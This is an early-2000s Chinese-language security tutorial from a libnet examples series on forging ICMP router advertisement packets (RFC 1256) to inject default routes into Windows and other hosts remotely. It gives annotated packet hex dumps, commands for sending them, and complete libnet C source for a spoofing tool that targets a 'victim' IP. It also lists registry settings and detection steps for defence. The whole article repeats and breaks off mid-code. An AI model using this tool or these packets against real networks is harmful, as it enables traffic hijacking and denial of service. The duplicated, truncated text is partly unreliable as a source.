libnet使用举例(11)
作者:ADAM(mailto: adam@nsfocus.com)
整理:小四(mailto: scz@nsfocus.com)
主页:http://www.nsfocus.com
日期:2000-09-12
本以为ICMP除了重定向报文之外没有其他类型的报文可以远程影响路由表,结果在被
ipxodi痛苦折磨的日子里发现忘记了另外一种可能造成极大破坏的ICMP报文。
RFC1256定义了ICMP路由请求/通告报文。如果主机的ICMP路由请求功能是打开的,那
么主机启动的时候可能会广播、多播ICMP路由请求报文,某些路由器会响应以ICMP路
由通告报文。即使主机没有主动发送ICMP路由请求报文,也会被路由器发送的ICMP路
由通告报文影响到路由表。ICMP路由通告报文在主机路由表里生成的是缺省路由,其
生命周期一般是30分钟,而路由器一般每10分钟就会主动发送ICMP路由通告报文,实
际意味着这样生成的缺省路由永不过期。
--------------------------------------------------------------------------
下面是一个ICMP路由请求报文的例子:
ff ff ff ff ff ff 00 00 00 11 11 11 08 00 45 00
00 1c 20 00 00 00 20 01 f1 36 c0 a8 08 5a c0 a8
ff ff 0a 00 f5 ff 00 00 00 00
0a 00 type = 10 code = 0
f5 ff 校验和 = 0xF5FF
00 00 00 00 Unused(置零)
把上述报文存入 RouterSelection.txt 文件中,以 root 身份执行如下命令:
./linuxkiller -k RouterSelection.txt -w 5 -r 1000
--------------------------------------------------------------------------
--------------------------------------------------------------------------
下面是一个ICMP路由通告报文的例子:
00 00 00 11 11 11 00 00 00 22 22 22 08 00 45 00
00 24 12 34 00 00 ff 01 15 aa c0 a8 0a 50 c0 a8
08 5a 09 00 aa fb 01 02 7f ff c0 a8 0a 5a 00 00
00 00
00 00 00 11 11 11 目标MAC
00 00 00 22 22 22 源MAC,这个是无所谓的,随便填,不过别和目标MAC一样
08 00 IP协议
45 00
00 24 长度( 20 + 16 )
12 34 ID号
00 00 Flags
ff TTL
01 ICMP协议
15 aa 校验和 = 0x15AA
c0 a8 0a 50 源IP,192.168.10.80
c0 a8 08 5a 目标IP,192.168.8.90
09 00 type = 9 code = 0
aa fb 校验和 = 0xAAFB
01 项目个数
02 每个项目大小,这里固定是2,两个32bit
7f ff 生存时间,指在目标主机路由表的有效时间,过期会被删除
单位是秒
c0 a8 0a 5a 路由器地址
00 00 00 00 优先级,默认为0,越大优先级越高;优先级为0x80000000表示
该路由器地址不能做为缺省路由
把上述报文存入 RouterAdvertisement.txt 文件中,以 root 身份执行如下命令:
./linuxkiller -k RouterAdvertisement.txt -w 5 -r 1000
--------------------------------------------------------------------------
路由器并不是严格定期发送ICMP路由通告报文,而是随机的,避免和其他路由器发生
冲突,一般两次通告间隔450秒到600秒,也就是10分钟左右,而通告报文里的生存时
间一般是30分钟(1800秒)。使用生存时间有一个用处,如果路由器的某个Interface
即将关闭,此时可以从这个接口上发送最后一个ICMP路由通告报文,并把生存时间设
置成零。如果子网内存在多个路由,由系统管理员配置各个路由在发送ICMP路由通告
报文时使用的优先级。
这两种ICMP报文比较新,不是所有系统都支持它们。Solaris 2.x的
/usr/sbin/in.rdisc正是支持它们的Daemon程序,具体的可以参看man手册。
运行微软Win9x、Win2K的DHCP客户端,其ICMP路由请求功能默认是打开的。通过伪造
ICMP路由通告报文,就可能在DHCP客户端增加一条缺省路由,它的优先级高于来自
DHCP服务器的缺省路由。对于Win2K,ICMP路由通告报文增加上来的缺省路由优先级
低于来自DHCP服务器的缺省路由,所以受此攻击危害较小,但因为能增加内容到路由
表,就存在DoS攻击的可能。
在ADAM的帮助下,找到了相应的注册表信息:
--------------------------------------------------------------------------
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Tcpip/Parameters/
Interfaces/{2FF4FAFD-40EC-4723-9FD0-86BFCBE0975B}
这最后的是接口名,你的系统上显然不是这个名字,需要自己确定
PerformRouterDiscovery
REG_DWORD
Value Meaning
0 禁用路由发现功能
1 启用路由发现功能
参看RFC 1256
--------------------------------------------------------------------------
我们怀疑不需要启动DHCP Client就可以启用路由发现功能,进而意味着ICMP路由通
告报文将影响本机路由表。ADAM在中文Windows 2000 AD Server上设置了该值并重启
动,我从另外一台Windows 98上用NetXray构造一个类似上述举例中ICMP路由通告报
文,结果ADAM主机路由表中出现了预料中的缺省路由,但是Metric高达1000,实际意
味着没有多少机会影响ADAM主机发出的IP报文流向。而ICMP主机路由重定向报文增加
上去的是特定主机路由,优先级相当高,注意区别二者的最终效果。
ICMP路由通告报文不要求源IP真实存在,不要求源IP是当前有效路由之一,不对路由
器IP做太多限制,比起ICMP主机路由重定向报文,要容易伪造得多。水木清华
Network版上讨论过太多DHCP的问题,想必大量使用DHCP协议,也给这种攻击提供了
良好的大规模测试环境。事实上,配置了DHCP Client的主机可以通过上述注册表设
置禁用路由发现功能,此时并不影响DHCP Client的其他功能。
顺便给一个ICMP主机路由重定向问题的解决办法,没有任何理由在简单局域网拓扑中
启用这个功能,解决办法就是禁止它。下面来自中文Windows 2000 Server版注册表。
--------------------------------------------------------------------------
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Tcpip/Parameters
EnableICMPRedirect
REG_DWORD
Value Meaning
0 禁止ICMP重定向
1 允许ICMP重定向,默认是允许
--------------------------------------------------------------------------
遗憾的是缺乏实验环境,没来得及找到Pwin98下相应的两个注册表设置位置,但我确
信它们存在。
如何察觉、防范ICMP路由通告攻击呢?查看路由表最直接。注意,与检查ICMP重定向
攻击不同,netstat -s无法察觉这种攻击,内核没有相应统计量。协议分析软件、
IDS等等都很容易发觉这种攻击企图。利用防火墙限制ICMP路由通告报文。根据具体
情况修改本机系统设置。
libnet的作者并没有做好足够思想准备接受这种新生事物,man libnet找不到对应的
组包函数,我们必须在IP数据区自己构造这样的ICMP路由通告报文。所有涉及到的函
数本系列前面都介绍过了,不再重复。
命令行上指定伪造的源IP(可随机化)、攻击目标IP、伪造的路由IP(不考虑随机化,
没有太多意义,采用指定方式时尽量使用直接路由)、ICMP路由通告报文个数。
--------------------------------------------------------------------------
/*
* File : icmp router advertisement program for i386/Linux using libnet
* Version: 0.99 alpha
* Author : scz < mailto: scz@nsfocus.com >
* : http://www.nsfocus.com
* Complie: gcc -O3 -o ia icmpadv.c `libnet-config --defines --cflags` `libnet-config --libs`
* Usage : ./ia --di 192.168.8.90 --routeIp 192.168.0.11 --level 1000
* Date : 2000-09-04 09:29
*/
/*******************************************************************
* *
* 头文件 *
* *
*******************************************************************/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <time.h> /* 使用time()产生随机化种子 */
#include <getopt.h> /* 使用getopt()长选项支持 */
#include <libnet.h> /* 使用libnet必须包含这个头文件 */
/*******************************************************************
* *
* 宏定义 *
* *
*******************************************************************/
#define SUCCESS 0
#define FAILURE -1
#define DEFAULTIRANUMBER 5 /* 缺省发送ICMP路由通告报文数目 */
#define DEFAULTTTL 0x7FFF /* 缺省生存时间 */
#define DEFAULTLEVEL 0 /* 缺省路由优先级 */
/*******************************************************************
* *
* 全局变量 *
* *
*******************************************************************/
/* 用于初始化伪随机数发生器 */
u_long randomState[64] =
{
0x00000003, 0x32d9c024, 0x9b663182, 0x5da1f342, 0x7449e56b, 0xbeb1dbb0, 0xab5c5918, 0x946554fd,
0x8c2e680f, 0xeb3d799f, 0xb11ee0b7, 0x2d436b86, 0xda672e2a, 0x1588ca88, 0xe369735d, 0x904f35f7,
0xd7158fd6, 0x6fa6f051, 0x616e6b96, 0xac94efdc, 0xde3b81e0, 0xdf0a6fb5, 0xf103bc02, 0x48f340fb,
0x36413f93, 0xc622c298, 0xf5a42ab8, 0x8a88d77b, 0xf5ad9d0e, 0x8999220b, 0x27fb47b9, 0x9a319039,
0x94102000, 0x9610000a, 0xc60a0000, 0x90022001, 0x8408e07f, 0x8528800a, 0x8088e080, 0x02800004,
0x9612c002, 0x10bffff9, 0x9402a007, 0x81c3e008, 0xd6224000, 0x86102000, 0x94100003, 0xd60a0000,
0x90022001, 0x840ae07f, 0x85288003, 0x94128002, 0x808ae080, 0x12bffffa, 0x8600e007, 0x80a0e01f,
0x18800006, 0x808ae040, 0x02800004, 0x84103fff, 0x85288003, 0x94128002, 0x81c3e008, 0xd4224000
};
size_t ipDataSize;
u_char * packet = NULL;
/* ICMP重定向报文有负载 */
size_t packet_size = LIBNET_IP_H;
int rawSocket;
/*******************************************************************
* *
* 函数原型 *
* *
*******************************************************************/
void Libnet_do_checksum ( u_char * buf, int protocol, int len );
void Libnet_init_packet ( size_t p_size, u_char ** buf );
int Libnet_open_raw_sock ( int protocol );
void Libnet_write_ip ( int sock, u_char * packet, int len );
void iraSend ( u_long srcIp, u_long dstIp, u_long routeIp, u_long iraNumber );
void usage ( char * arg );
/*----------------------------------------------------------------------*/
void Libnet_do_checksum ( u_char * buf, int protocol, int len )
{
if ( libnet_do_checksum( buf, protocol, len ) == -1 )
{
libnet_error( LIBNET_ERR_FATAL, "libnet_do_checksum failed/n" );
}
return;
} /* end of Libnet_do_checksum */
void Libnet_init_packet ( size_t p_size, u_char ** buf )
{
if ( libnet_init_packet( p_size, buf ) == -1 )
{
libnet_error( LIBNET_ERR_FATAL, "Can't initialize packet/n" );
}
return;
} /* end of Libnet_init_packet */
int Libnet_open_raw_sock ( int protocol )
{
int s;
if ( ( s = libnet_open_raw_sock( protocol ) ) == -1 )
{
libnet_error( LIBNET_ERR_FATAL, "Can't open raw socket %08x/n", protocol );
}
return( s );
} /* end of Libnet_open_raw_sock */
void Libnet_write_ip ( int sock, u_char * packet, int len )
{
int w;
if ( ( w = libnet_write_ip( sock, packet, len ) ) < len )
{
libnet_error( LIBNET_ERR_WARNING, "libnet_write_ip only wrote %d bytes/n", w );
}
return;
} /* end of Libnet_write_ip */
void iraSend ( u_long srcIp, u_long dstIp, u_long routeIp, u_long iraNumber )
{
u_long i;
/* 构造IP头 */
libnet_build_ip( ipDataSize, /* IP数据区长度 */
IPTOS_LOWDELAY, /* IP tos */
( u_short )random(), /* IP ID */
0, /* frag stuff */
255, /* TTL */
IPPROTO_ICMP, /* 上层协议 */
srcIp, /* big-endian序 */
dstIp, /* 目标IP */
NULL, /* 无选项 */
0, /* 选项长度零 */
packet ); /* 指向IP头 */
// 这里必须意识到,计算ICMP重定向报文校验和应该发生在整个ICMP报文构造完毕之后
// 我们目的特殊,部分数据提前构造完毕了
/* 计算ICMP重定向报文校验和,IP校验和由内核亲自计算 */
Libnet_do_checksum( packet, IPPROTO_ICMP, ipDataSize );
for ( i = 0; i < iraNumber; i++ )
{
/* 发送ICMP路由通告报文 */
Libnet_write_ip( rawSocket, packet, packet_size );
} /* end of for */
return;
} /* end of iraSend */
void usage ( char * arg )
{
fprintf( stderr, " Usage: %s [--si srcIp] [--di dstIp] [--routeIp routeIp] [--num iraNumber]/n/t"
"[--ttl ttl] [--level level]/n", arg );
exit( FAILURE );
} /* end of usage */
int main ( int argc, char * argv[] )
{
#define LONGOPTIONCHAR '-'
/* 定义长选项 */
static struct option longOption[] =
{
{ "si", 1, 0, LONGOPTIONCHAR }, /* 源IP */
{ "di", 1, 0, LONGOPTIONCHAR }, /* 攻击目标IP */
{ "routeIp", 1, 0, LONGOPTIONCHAR }, /* 伪造的路由IP */
{ "num", 1, 0, LONGOPTIONCHAR }, /* ICMP报文数目 */
{ "ttl", 1, 0, LONGOPTIONCHAR }, /* 生存时间 */
{ "level", 1, 0, LONGOPTIONCHAR }, /* 优先级 */
{ 0, 0, 0, 0 }
};
int longOptionIndex = 0; /* 用于处理长选项 */
/* IP使用使用网络字节序指定 */
u_long srcIp = 0xffffffff; /* 伪造源IP,也是路由器 */
u_long dstIp = 0xffffffff; /* 牺牲者 */
u_long routeIp = 0xffffffff; /* 伪造的路由IP */
u_long iraNumber = DEFAULTIRANUMBER; /* ICMP路由通告报文数目 */
unsigned int randomSeed = ( unsigned int )time( NULL );
int c;
u_char * ipData;
u_long * tempUlong;
u_short * tempUshort;
u_short ttl = DEFAULTTTL; /* 生存时间 */
u_long level = DEFAULTLEVEL; /* 优先级 */
if ( argc == 1 )
{
usage( argv[0] );
}
initstate( randomSeed, ( char * )randomState, 128 );
setstate( ( char * )randomState );
opterr = 0; /* don't want getopt() writing to stderr */
while ( ( c = getopt_long( argc, argv, "h", longOption, &longOptionIndex ) ) != EOF )
{
switch ( c )
{
case LONGOPTIONCHAR: /* 处理长选项 */
/*
fprintf( stderr, "option %s", longOption[ longOptionIndex ].name );
if ( optarg )
{
fprintf( stderr, " with arg %s", optarg );
}
fprintf( stderr, "/n" );
*/
if ( optarg )
{
switch ( longOptionIndex )
{
case 0:
/* 返回值是big-endian序 */
srcIp = libnet_name_resolve( optarg, LIBNET_DONT_RESOLVE );
if ( srcIp == -1 )
{
libnet_error( LIBNET_ERR_FATAL, "Bad srcIp: %s/n", optarg );
}
break;
case 1:
/* 返回值是big-endian序 */
dstIp = libnet_name_resolve( optarg, LIBNET_DONT_RESOLVE );
if ( dstIp == -1 )
{
libnet_error( LIBNET_ERR_FATAL, "Bad dstIp: %s/n", optarg );
}
break;
case 2:
/* 返回值是big-endian序 */
routeIp = libnet_name_resolve( optarg, LIBNET_DONT_RESOLVE );
if ( routeIp == -1 )
{
libnet_error( LIBNET_ERR_FATAL, "Bad routeIp: %s/n", optarg );
}
break;
case 3: /* 采用10进制 */
iraNumber = ( u_long )strtoul( optarg, NULL, 10 );
if ( iraNumber == 0 )
{
fprintf( stderr, "Check your iraNumber/n" );
exit( FAILURE );
}
break;
case 4: /* 采用10进制 */
ttl = ( u_short )strtoul( optarg, NULL, 10 );
break;
case 5: /* 采用10进制 */
level = ( u_long )strtoul( optarg, NULL, 10 );
break;
default:
break;
} /* end of switch */
}
break;
case 'h':
case '?':
usage( argv[0] );
} /* end of switch */
} /* end of while */
/* 如果未指定srcIp,随机化 */
if ( srcIp == -1 )
{
srcIp = ( u_long )random();
}
if ( dstIp == 0xffffffff )
{
fprintf( stderr, "Check your dstIp/n" );
exit( FAILURE );
}
/* routeIp不考虑随机化,尽量指定直接路由,但非强制性要求 */
if ( routeIp == 0xffffffff )
{
routeIp = ( u_long )random();
}
ipDataSize = 16;
packet_size += ipDataSize;
fprintf( stderr, "[ Icmp route advertising ... ... ]/n" );
/* 分配内存并初始化成零 */
Libnet_init_packet( packet_size, &packet );
/* 在这里构造ICMP路由通告报文的部分数据 */
ipData = packet + LIBNET_IP_H;
ipData[0] = 0x09; /* ICMP路由通告报文 */
ipData[1] = 0x00; /* 校验和留待后面调用函数计算 */
ipData[4] = 0x01; /* 项目个数 */
ipData[5] = 0x02; /* 项目大小,固定为2 */
tempUshort = ( u_short * )( ipData + 6 );
*tempUshort = htons( ttl ); /* 生存时间 */
tempUlong = ( u_long * )( ipData + 8 );
*tempUlong = routeIp; /* 路由IP */
tempUlong = ( u_long * )( ipData + 12 );
*tempUlong = htonl( level ); /* 优先级 */
/* 创建raw_socket */
rawSocket = Libnet_open_raw_sock( IPPROTO_RAW );
iraSend( srcIp, dstIp, routeIp, iraNumber );
/* 关闭raw_socket */
libnet_close_raw_sock( rawSocket );
/* 释放由libnet_init_packet()分配的内存 */
libnet_destroy_packet( &packet );
fprintf( stderr, "/n[ Icmp route advertised ]/n" );
return( SUCCESS );
} /* end of main */
/*----------------------------------------------------------------------*/
--------------------------------------------------------------------------
Usage: ./ia [--si srcIp] [--di dstIp] [--routeIp routeIp] [--num iraNumber]
[--ttl ttl] [--level level]
测试中验证了一些有趣的事实。当生存时间ttl设置成0的时候,实际意味着远程删除
前面通过ICMP路由通告报文增加上去的缺省路由。优先级level默认为0,在2K上远程
增加上来的缺省路由Metric为1000,当level设置成1000的时候,在2K上远程增加上
来的缺省路由Metric为1。对于2K,只有level等于1000时Metric才为1,level继续增
大,Metric非但不减小反而增大。注意,所谓缺省路由就是0.0.0.0/0.0.0.0路由,
缺省路由在IP寻径中一般最后被使用,缺省路由可以多条并存。
作者:ADAM(mailto: adam@nsfocus.com)
整理:小四(mailto: scz@nsfocus.com)
主页:http://www.nsfocus.com
日期:2000-09-12
本以为ICMP除了重定向报文之外没有其他类型的报文可以远程影响路由表,结果在被
ipxodi痛苦折磨的日子里发现忘记了另外一种可能造成极大破坏的ICMP报文。
RFC1256定义了ICMP路由请求/通告报文。如果主机的ICMP路由请求功能是打开的,那
么主机启动的时候可能会广播、多播ICMP路由请求报文,某些路由器会响应以ICMP路
由通告报文。即使主机没有主动发送ICMP路由请求报文,也会被路由器发送的ICMP路
由通告报文影响到路由表。ICMP路由通告报文在主机路由表里生成的是缺省路由,其
生命周期一般是30分钟,而路由器一般每10分钟就会主动发送ICMP路由通告报文,实
际意味着这样生成的缺省路由永不过期。
--------------------------------------------------------------------------
下面是一个ICMP路由请求报文的例子:
ff ff ff ff ff ff 00 00 00 11 11 11 08 00 45 00
00 1c 20 00 00 00 20 01 f1 36 c0 a8 08 5a c0 a8
ff ff 0a 00 f5 ff 00 00 00 00
0a 00 type = 10 code = 0
f5 ff 校验和 = 0xF5FF
00 00 00 00 Unused(置零)
把上述报文存入 RouterSelection.txt 文件中,以 root 身份执行如下命令:
./linuxkiller -k RouterSelection.txt -w 5 -r 1000
--------------------------------------------------------------------------
--------------------------------------------------------------------------
下面是一个ICMP路由通告报文的例子:
00 00 00 11 11 11 00 00 00 22 22 22 08 00 45 00
00 24 12 34 00 00 ff 01 15 aa c0 a8 0a 50 c0 a8
08 5a 09 00 aa fb 01 02 7f ff c0 a8 0a 5a 00 00
00 00
00 00 00 11 11 11 目标MAC
00 00 00 22 22 22 源MAC,这个是无所谓的,随便填,不过别和目标MAC一样
08 00 IP协议
45 00
00 24 长度( 20 + 16 )
12 34 ID号
00 00 Flags
ff TTL
01 ICMP协议
15 aa 校验和 = 0x15AA
c0 a8 0a 50 源IP,192.168.10.80
c0 a8 08 5a 目标IP,192.168.8.90
09 00 type = 9 code = 0
aa fb 校验和 = 0xAAFB
01 项目个数
02 每个项目大小,这里固定是2,两个32bit
7f ff 生存时间,指在目标主机路由表的有效时间,过期会被删除
单位是秒
c0 a8 0a 5a 路由器地址
00 00 00 00 优先级,默认为0,越大优先级越高;优先级为0x80000000表示
该路由器地址不能做为缺省路由
把上述报文存入 RouterAdvertisement.txt 文件中,以 root 身份执行如下命令:
./linuxkiller -k RouterAdvertisement.txt -w 5 -r 1000
--------------------------------------------------------------------------
路由器并不是严格定期发送ICMP路由通告报文,而是随机的,避免和其他路由器发生
冲突,一般两次通告间隔450秒到600秒,也就是10分钟左右,而通告报文里的生存时
间一般是30分钟(1800秒)。使用生存时间有一个用处,如果路由器的某个Interface
即将关闭,此时可以从这个接口上发送最后一个ICMP路由通告报文,并把生存时间设
置成零。如果子网内存在多个路由,由系统管理员配置各个路由在发送ICMP路由通告
报文时使用的优先级。
这两种ICMP报文比较新,不是所有系统都支持它们。Solaris 2.x的
/usr/sbin/in.rdisc正是支持它们的Daemon程序,具体的可以参看man手册。
运行微软Win9x、Win2K的DHCP客户端,其ICMP路由请求功能默认是打开的。通过伪造
ICMP路由通告报文,就可能在DHCP客户端增加一条缺省路由,它的优先级高于来自
DHCP服务器的缺省路由。对于Win2K,ICMP路由通告报文增加上来的缺省路由优先级
低于来自DHCP服务器的缺省路由,所以受此攻击危害较小,但因为能增加内容到路由
表,就存在DoS攻击的可能。
在ADAM的帮助下,找到了相应的注册表信息:
--------------------------------------------------------------------------
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Tcpip/Parameters/
Interfaces/{2FF4FAFD-40EC-4723-9FD0-86BFCBE0975B}
这最后的是接口名,你的系统上显然不是这个名字,需要自己确定
PerformRouterDiscovery
REG_DWORD
Value Meaning
0 禁用路由发现功能
1 启用路由发现功能
参看RFC 1256
--------------------------------------------------------------------------
我们怀疑不需要启动DHCP Client就可以启用路由发现功能,进而意味着ICMP路由通
告报文将影响本机路由表。ADAM在中文Windows 2000 AD Server上设置了该值并重启
动,我从另外一台Windows 98上用NetXray构造一个类似上述举例中ICMP路由通告报
文,结果ADAM主机路由表中出现了预料中的缺省路由,但是Metric高达1000,实际意
味着没有多少机会影响ADAM主机发出的IP报文流向。而ICMP主机路由重定向报文增加
上去的是特定主机路由,优先级相当高,注意区别二者的最终效果。
ICMP路由通告报文不要求源IP真实存在,不要求源IP是当前有效路由之一,不对路由
器IP做太多限制,比起ICMP主机路由重定向报文,要容易伪造得多。水木清华
Network版上讨论过太多DHCP的问题,想必大量使用DHCP协议,也给这种攻击提供了
良好的大规模测试环境。事实上,配置了DHCP Client的主机可以通过上述注册表设
置禁用路由发现功能,此时并不影响DHCP Client的其他功能。
顺便给一个ICMP主机路由重定向问题的解决办法,没有任何理由在简单局域网拓扑中
启用这个功能,解决办法就是禁止它。下面来自中文Windows 2000 Server版注册表。
--------------------------------------------------------------------------
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Tcpip/Parameters
EnableICMPRedirect
REG_DWORD
Value Meaning
0 禁止ICMP重定向
1 允许ICMP重定向,默认是允许
--------------------------------------------------------------------------
遗憾的是缺乏实验环境,没来得及找到Pwin98下相应的两个注册表设置位置,但我确
信它们存在。
如何察觉、防范ICMP路由通告攻击呢?查看路由表最直接。注意,与检查ICMP重定向
攻击不同,netstat -s无法察觉这种攻击,内核没有相应统计量。协议分析软件、
IDS等等都很容易发觉这种攻击企图。利用防火墙限制ICMP路由通告报文。根据具体
情况修改本机系统设置。
libnet的作者并没有做好足够思想准备接受这种新生事物,man libnet找不到对应的
组包函数,我们必须在IP数据区自己构造这样的ICMP路由通告报文。所有涉及到的函
数本系列前面都介绍过了,不再重复。
命令行上指定伪造的源IP(可随机化)、攻击目标IP、伪造的路由IP(不考虑随机化,
没有太多意义,采用指定方式时尽量使用直接路由)、ICMP路由通告报文个数。
--------------------------------------------------------------------------
/*
* File : icmp router advertisement program for i386/Linux using libnet
* Version: 0.99 alpha
* Author : scz < mailto: scz@nsfocus.com >
* : http://www.nsfocus.com
* Complie: gcc -O3 -o ia icmpadv.c `libnet-config --defines --cflags` `libnet-config --libs`
* Usage : ./ia --di 192.168.8.90 --routeIp 192.168.0.11 --level 1000
* Date : 2000-09-04 09:29
*/
/*******************************************************************
* *
* 头文件 *
* *
*******************************************************************/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <time.h> /* 使用time()产生随机化种子 */
#include <getopt.h> /* 使用getopt()长选项支持 */
#include <libnet.h> /* 使用libnet必须包含这个头文件 */
/*******************************************************************
* *
* 宏定义 *
* *
*******************************************************************/
#define SUCCESS 0
#define FAILURE -1
#define DEFAULTIRANUMBER 5 /* 缺省发送ICMP路由通告报文数目 */
#define DEFAULTTTL 0x7FFF /* 缺省生存时间 */
#define DEFAULTLEVEL 0 /* 缺省路由优先级 */
/*******************************************************************
* *
* 全局变量 *
* *
*******************************************************************/
/* 用于初始化伪随机数发生器 */
u_long randomState[64] =
{
0x00000003, 0x32d9c024, 0x9b663182, 0x5da1f342, 0x7449e56b, 0xbeb1dbb0, 0xab5c5918, 0x946554fd,
0x8c2e680f, 0xeb3d799f, 0xb11ee0b7, 0x2d436b86, 0xda672e2a, 0x1588ca88, 0xe369735d, 0x904f35f7,
0xd7158fd6, 0x6fa6f051, 0x616e6b96, 0xac94efdc, 0xde3b81e0, 0xdf0a6fb5, 0xf103bc02, 0x48f340fb,
0x36413f93, 0xc622c298, 0xf5a42ab8, 0x8a88d77b, 0xf5ad9d0e, 0x8999220b, 0x27fb47b9, 0x9a319039,
0x94102000, 0x9610000a, 0xc60a0000, 0x90022001, 0x8408e07f, 0x8528800a, 0x8088e080, 0x02800004,
0x9612c002, 0x10bffff9, 0x9402a007, 0x81c3e008, 0xd6224000, 0x86102000, 0x94100003, 0xd60a0000,
0x90022001, 0x840ae07f, 0x85288003, 0x94128002, 0x808ae080, 0x12bffffa, 0x8600e007, 0x80a0e01f,
0x18800006, 0x808ae040, 0x02800004, 0x84103fff, 0x85288003, 0x94128002, 0x81c3e008, 0xd4224000
};
size_t ipDataSize;
u_char * packet = NULL;
/* ICMP重定向报文有负载 */
size_t packet_size = LIBNET_IP_H;
int rawSocket;
/*******************************************************************
* *
* 函数原型 *
* *
*******************************************************************/
void Libnet_do_checksum ( u_char * buf, int protocol, int len );
void Libnet_init_packet ( size_t p_size, u_char ** buf );
int Libnet_open_raw_sock ( int protocol );
void Libnet_write_ip ( int sock, u_char * packet, int len );
void iraSend ( u_long srcIp, u_long dstIp, u_long routeIp, u_long iraNumber );
void usage ( char * arg );
/*----------------------------------------------------------------------*/
void Libnet_do_checksum ( u_char * buf, int protocol, int len )
{
if ( libnet_do_checksum( buf, protocol, len ) == -1 )
{
libnet_error( LIBNET_ERR_FATAL, "libnet_do_checksum failed/n" );
}
return;
} /* end of Libnet_do_checksum */
void Libnet_init_packet ( size_t p_size, u_char ** buf )
{
if ( libnet_init_packet( p_size, buf ) == -1 )
{
libnet_error( LIBNET_ERR_FATAL, "Can't initialize packet/n" );
}
return;
} /* end of Libnet_init_packet */
int Libnet_open_raw_sock ( int protocol )
{
int s;
if ( ( s = libnet_open_raw_sock( protocol ) ) == -1 )
{
libnet_error( LIBNET_ERR_FATAL, "Can't open raw socket %08x/n", protocol );
}
return( s );
} /* end of Libnet_open_raw_sock */
void Libnet_write_ip ( int sock, u_char * packet, int len )
{
int w;
if ( ( w = libnet_write_ip( sock, packet, len ) ) < len )
{
libnet_error( LIBNET_ERR_WARNING, "libnet_write_ip only wrote %d bytes/n", w );
}
return;
} /* end of Libnet_write_ip */
void iraSend ( u_long srcIp, u_long dstIp, u_long routeIp, u_long iraNumber )
{
u_long i;
/* 构造IP头 */
libnet_build_ip( ipDataSize, /* IP数据区长度 */
IPTOS_LOWDELAY, /* IP tos */
( u_short )random(), /* IP ID */
0, /* frag stuff */
255, /* TTL */
IPPROTO_ICMP, /* 上层协议 */
srcIp, /* big-endian序 */
dstIp, /* 目标IP */
NULL, /* 无选项 */
0, /* 选项长度零 */
packet ); /* 指向IP头 */
// 这里必须意识到,计算ICMP重定向报文校验和应该发生在整个ICMP报文构造完毕之后
// 我们目的特殊,部分数据提前构造完毕了
/* 计算ICMP重定向报文校验和,IP校验和由内核亲自计算 */
Libnet_do_checksum( packet, IPPROTO_ICMP, ipDataSize );
for ( i = 0; i < iraNumber; i++ )
{
/* 发送ICMP路由通告报文 */
Libnet_write_ip( rawSocket, packet, packet_size );
} /* end of for */
return;
} /* end of iraSend */
void usage ( char * arg )
{
fprintf( stderr, " Usage: %s [--si srcIp] [--di dstIp] [--routeIp routeIp] [--num iraNumber]/n/t"
"[--ttl ttl] [--level level]/n", arg );
exit( FAILURE );
} /* end of usage */
int main ( int argc, char * argv[] )
{
#define LONGOPTIONCHAR '-'
/* 定义长选项 */
static struct option longOption[] =
{
{ "si", 1, 0, LONGOPTIONCHAR }, /* 源IP */
{ "di", 1, 0, LONGOPTIONCHAR }, /* 攻击目标IP */
{ "routeIp", 1, 0, LONGOPTIONCHAR }, /* 伪造的路由IP */
{ "num", 1, 0, LONGOPTIONCHAR }, /* ICMP报文数目 */
{ "ttl", 1, 0, LONGOPTIONCHAR }, /* 生存时间 */
{ "level", 1, 0, LONGOPTIONCHAR }, /* 优先级 */
{ 0, 0, 0, 0 }
};
int longOptionIndex = 0; /* 用于处理长选项 */
/* IP使用使用网络字节序指定 */
u_long srcIp = 0xffffffff; /* 伪造源IP,也是路由器 */
u_long dstIp = 0xffffffff; /* 牺牲者 */
u_long routeIp = 0xffffffff; /* 伪造的路由IP */
u_long iraNumber = DEFAULTIRANUMBER; /* ICMP路由通告报文数目 */
unsigned int randomSeed = ( unsigned int )time( NULL );
int c;
u_char * ipData;
u_long * tempUlong;
u_short * tempUshort;
u_short ttl = DEFAULTTTL; /* 生存时间 */
u_long level = DEFAULTLEVEL; /* 优先级 */
if ( argc == 1 )
{
usage( argv[0] );
}
initstate( randomSeed, ( char * )randomState, 128 );
setstate( ( char * )randomState );
opterr = 0; /* don't want getopt() writing to stderr */
while ( ( c = getopt_long( argc, argv, "h", longOption, &longOptionIndex ) ) != EOF )
{
switch ( c )
{
case LONGOPTIONCHAR: /* 处理长选项 */
/*
fprintf( stderr, "option %s", longOption[ longOptionIndex ].name );
if ( optarg )
{
fprintf( stderr, " with arg %s", optarg );
}
fprintf( stderr, "/n" );
*/
if ( optarg )
{
switch ( longOptionIndex )
{
case 0:
/* 返回值是big-endian序 */
srcIp = libnet_name_resolve( optarg, LIBNET_DONT_RESOLVE );
if ( srcIp == -1 )
{
libnet_error( LIBNET_ERR_FATAL, "Bad srcIp: %s/n", optarg );
}
break;
case 1:
/* 返回值是big-endian序 */
dstIp = libnet_name_resolve( optarg, LIBNET_DONT_RESOLVE );
if ( dstIp == -1 )
{
libnet_error( LIBNET_ERR_FATAL, "Bad dstIp: %s/n", optarg );
}
break;
case 2:
/* 返回值是big-endian序 */
routeIp = libnet_name_resolve( optarg, LIBNET_DONT_RESOLVE );
if ( routeIp == -1 )
{
libnet_error( LIBNET_ERR_FATAL, "Bad routeIp: %s/n", optarg );
}
break;
case 3: /* 采用10进制 */
iraNumber = ( u_long )strtoul( optarg, NULL, 10 );
if ( iraNumber == 0 )
{
fprintf( stderr, "Check your iraNumber/n" );
exit( FAILURE );
}
break;
case 4: /* 采用10进制 */
ttl = ( u_short )strtoul( optarg, NULL, 10 );
break;
case 5: /* 采用10进制 */
level = ( u_long )strtoul( optarg, NULL, 10 );
break;
default:
break;
} /* end of switch */
}
break;
case 'h':
case '?':
usage( argv[0] );
} /* end of switch */
} /* end of while */
/* 如果未指定srcIp,随机化 */
if ( srcIp == -1 )
{
srcIp = ( u_long )random();
}
if ( dstIp == 0xffffffff )
{
fprintf( stderr, "Check your dstIp/n" );
exit( FAILURE );
}
/* routeIp不考虑随机化,尽量指定直接路由,但非强制性要求 */
if ( routeIp == 0xffffffff )
{
